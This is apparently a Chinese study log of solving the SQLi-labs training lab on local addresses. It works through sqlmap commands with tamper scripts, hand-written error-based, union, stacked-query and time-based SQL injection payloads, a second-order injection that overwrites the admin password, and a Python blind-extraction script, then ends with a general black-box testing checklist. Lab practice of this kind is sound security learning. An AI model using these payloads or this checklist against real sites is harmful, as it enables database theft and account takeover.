本文主要是写sqlmap在sql labs下的使用学习记录,目的在于模拟黑盒测试,不太在意原理。(当然,原理还是要学习好才这么干的。)

不得不说收获还是蛮大的。首先推荐下sqlmap使用的学习视频。

1-9:

python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --batch

10:单独的sleep(5)不起效果,

[http://127.0.0.1/sqlilabs/Less-10/?id=1%22and%20If(ascii(substr(database(),1,1))=114,1,sleep(5))--](http://127.0.0.1/sqlilabs/Less-10/?id=1"and If(ascii(substr(database(),1,1))=114,1,sleep(5))--)+python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-10/?id=1  --batch --level 3

11-17:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-16/ --data="uname=123&passwd=123&submit=Submit" --batch --dbs

18-22:账号:Dumb,密码:Dumb。sqlmap使用-r读取请求包,在需要探测的地方加*,可以检测出来漏洞点。

18:User Agent

python sqlmap.py -r ./target.txt --batch --level 5

19:Referer

20:cookie处

21:cookie(需要将注入语句base64加密,源代码处有base64解密)

python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"

22:cookie(21注入语句前缀后缀的单引号换成双引号)

python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-18/ -p “User-Agent” --batch --dbs --level 5 --thread 10 --technique E (此语句无效)

' and updatexml(1,concat(0x7e,(select  user()),0x7e),1) and '1'='1'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

23:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-23/index.php?id=1

24:一个二次注入,且漏洞功能为修改原账户密码。无法用sqlmap自动检测。

注册个账户admin’#,然后登入admin’#,然后修改密码,然后原来admin的密码就会被修改覆盖

因为**修改密码(功能)**处形成的 sql 语句是

UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx

25:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-25/index.php?id=1 --batch

26-26a-27:

提示说空格和注释

在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,所以这里需要使用linux来进行搭建

window下可以使用加号(+,%2b)来代替空格,不过union两边有加号会报错,因此只能选择布尔盲注或者时间盲注

//26-27
import requests
url="http://192.168.2.82/sqlilabs/Less-26/?id=1'%26%26(ascii(substr(database(),{},1))={})||'1'='"
result=""
for i in range(1,10):for j in range(33,127):payload = url.format(i,j)r = requests.get(payload)r.encoding=r.apparent_encodingif "Dumb" in r.text:result += chr(j)print (result)break
//26a
url="http://192.168.2.82/sqlilabs/Less-26/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"//27a
url="http://192.168.2.82/sqlilabs/Less-27a/?id=1"%26%26(ascii(substr(database(),{},1))={})||"1"=""//28-28a
url="http://192.168.2.82/sqlilabs/Less-28/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"

29:

这题就有点意思了,HTTP参数污染。

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 waf,由于解析参数机制的不同,我们此处可以利用该原理绕过 WAF 的检测;数据解析顺序:tomcat从前往后,apache从后往前

(双同参数)

http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,database(),3--+http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+

30:29的单引号改为双引号

31:29的单引号改为")

32-33:

宽字节注入,利用mysql使用GBK编码,将两个字符看成一个汉字的特性,消除转移符号“、”,使单引号逃逸出来。这是每次黑盒测试都需要检测的一个点。

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-32/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch

34:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-34/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch

35:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-35/?id=1  --batch

36:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-36/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch

37:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-37/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch

38-41:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-38/?id=1  --batch

42-45:

(43同理,前缀变了)

这种东西,除非白盒测试,能够看到源码,否则想不出这数据库名以及字段数。

login_user=test&login_password=1’;insert+into+users+values(44,‘Less32’,‘Less42’)–+&mysubmit=Login

login_user=test&login_password=1’+or+sysdate()-now()=0+and+sleep(1)=1–+&mysubmit=Login(我真是个小天才)我好像懂了sqlmap为什么会连接失败了,超时了。

好吧,sqlmap能够测出来,由于容易超时,因此容易在其中一步的询问中问你要不要继续(默认停止),此时你要手动点继续。因此不能够使用–batch参数。–time-sec=1

python sqlmap.py -r target.txt --flush-session --fresh-queries --time-sec=1

46-53:

python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-46/?sort=1 --batch

总结

  1. 找注入点,最万能的方法是在请求包后面加星号(*),然后用-r读取。
  2. 先测试什么都不加(只有—batch。如果很多连接失败的报错,则需要手动点击继续,不能使用—batch参数,同时设置盲注延迟时间–time-sec=1)
  3. 第二步骤不行的话,level提升为4.
  4. 第三步骤不行的话,使用脚本–tamper="unmagicquotes.py"进行宽字节注入。

以上步骤都不行的话,自行使用脚本进行测试。判断双写等waf拦截。或者双同参数的HTTP参数污染。
小脚本:

import requests
url="http://192.168.2.82/sqlilabs/Less-26/?id=1'%26%26(ascii(substr(database(),{},1))={})||'1'='"
result=""
for i in range(1,10):for j in range(33,127):payload = url.format(i,j)r = requests.get(payload)r.encoding=r.apparent_encodingif "Dumb" in r.text:result += chr(j)print (result)break

心疼我相麻

sqlmap使用_sqlmap于sql labs下使用相关推荐

  1. util包下的Date与sql包下的Date之间的转换

    Java中的时间类型 java.sql包下给出三个与数据库相关的日期时间类型,分别是: Date:表示日期,只有年月日,没有时分秒.会丢失时间: Time:表示时间,只有时分秒,没有年月日.会丢失日期 ...

  2. 批量处理SQL Oracle下:

    Oracle下: 1.新增一个批处理文件:如a.bat 2.新增一个SQL脚本文件:如a.sql 3.a.bat中输入:sqlplus 用户名/密码 @C:\a.sql(假设a.sql在c:盘根目录下 ...

  3. C# 学习笔记(19)操作SQL Server下

    C# 学习笔记(19)操作SQL Server下 ADO.net操作数据库 这应该是比较老的技术了,以后有空的话学学 Linq /// <summary> /// 数据库使用类 /// & ...

  4. Flink Table API和SQL(下)

    传送门: Flink Table API和SQL(上)(基本API介绍+流处理表的特性) Flink Table API和SQL(中)(时间属性及窗口+聚合查询+联结查询) Flink Table A ...

  5. 在SQLMAP中使用动态SQL

    最近有几个同事和朋友询问如何在SQLMAP中"拼接字符串",因为有时候条件的数量不固定,条件参数类型也不固定,无法写出 @参数名 这样的SQL语句,也就是大家常说的"动态 ...

  6. 使用SQLmap对dvwa进行SQL注入测试

    SQLmap工具github链接:https://github.com/sqlmapproject/sqlmap 搭建dvwa环境并启动. windows上需要搭建Python环境,下载sqlmap包 ...

  7. PL/SQL Developer下设置“长SQL自己主动换行”

    ***********************************************声明*************************************************** ...

  8. 使用Sqlmap对dvwa进行sql注入测试(初级阶段)

    0.测试准备 1)打开Kali虚拟机终端; 2)打开靶机OWASP,并通过浏览器,输入IP地址进入dvwa的主页,然后选择SQL injection进入SQL注入的测试页面 1.获取DVWA的url和 ...

  9. sqlmap地表最强sql注入检测工具学习使用

    官网戳:https://sqlmap.org/ 带着问题去学习:假如有一个POST接口,传递的body是一个json, 我需要去检查这个json里面的一个字段有没有sql注入的可能,我使用sqlmap ...

最新文章

  1. 【转载】C#编码标准━━项目设置和项目结构
  2. PPT下载下来是php,用php下载jpg,doc,ppt文件已损坏
  3. 六、Python之三元表达式、列表推导式、生成器表达式
  4. CentOS 7忘记root密码解决办法
  5. 计算机表格平均分用函数怎么算,总结:如何使用公式计算Excel2013表中合并单元格的平均值...
  6. aes ccm模式 java_AES_GCM和AES_CCM的选择
  7. Sniffer的使用
  8. 一位Google程序员的算法学习之路
  9. android siri声波动画,Waver声波效果开源项目:和 Siri 一起学数学
  10. 【上海交大oj】畅畅的牙签袋(改)(枚举+模拟)
  11. 从零开始学习Java设计模式 | 设计模式入门篇:设计模式概述
  12. 互联网大厂面试考点————设计模式
  13. 铁路局12306余票查询的实现
  14. 零基础搭建电影网站教程——二、运行环境
  15. 实验一 信号、系统及系统响应
  16. 目前最顶级的多视角立体影像匹配算法
  17. 关于有源滤波器和无源滤波器
  18. 彩信发送流程 --- 之一
  19. ucosii的实时操作系统(任哲)——第一章
  20. 请说说你还使用过哪些视频后期软件?说说优缺点?

热门文章

  1. c#之using关键字
  2. C# GridView单元格合并.
  3. 试玩C++ 操作页面控件
  4. ASP。NET的设计思想
  5. 有BRT,为啥还建公交港湾
  6. linux的基础知识——shell基础
  7. FTP协议、电子邮件系统与Telnet远程控制
  8. Leetcode--1014. 最佳观光组合(java)
  9. php width,PHP imagefontwidth()用法及代码示例
  10. getter方法的作用 vuex_Vuex的工作流程